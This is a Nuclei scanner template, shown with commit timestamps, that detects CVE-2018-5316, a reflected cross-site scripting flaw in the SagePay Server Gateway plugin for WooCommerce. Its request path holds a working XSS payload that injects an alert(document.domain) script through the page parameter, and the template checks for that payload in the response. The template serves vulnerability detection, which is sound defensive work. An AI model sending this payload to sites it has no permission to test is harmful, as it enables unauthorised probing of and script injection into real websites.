nuclei-templates/cves/2018/CVE-2018-5316.yaml

37 lines
1.1 KiB
YAML
Raw Normal View History

2021-07-15 17:16:27 +00:00
id: CVE-2018-5316
info:
name: SagePay Server Gateway for WooCommerce <= 1.0.8 - Reflected Cross-Site Scripting (XSS)
author: daffainfo
severity: medium
description: The SagePay Server Gateway for WooCommerce plugin before 1.0.9 for WordPress has XSS via the includes/pages/redirect.php page parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-5316
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-5316
cwe-id: CWE-79
tags: cve,cve2018,wordpress,xss,wp-plugin,woocommerce
2021-07-15 17:16:27 +00:00
requests:
- method: GET
path:
2021-07-19 06:02:30 +00:00
- '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-07-15 17:16:27 +00:00
matchers-condition: and
matchers:
- type: word
words:
2021-07-19 06:02:30 +00:00
- "</script><script>alert(document.domain)</script>"
2021-07-15 17:16:27 +00:00
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200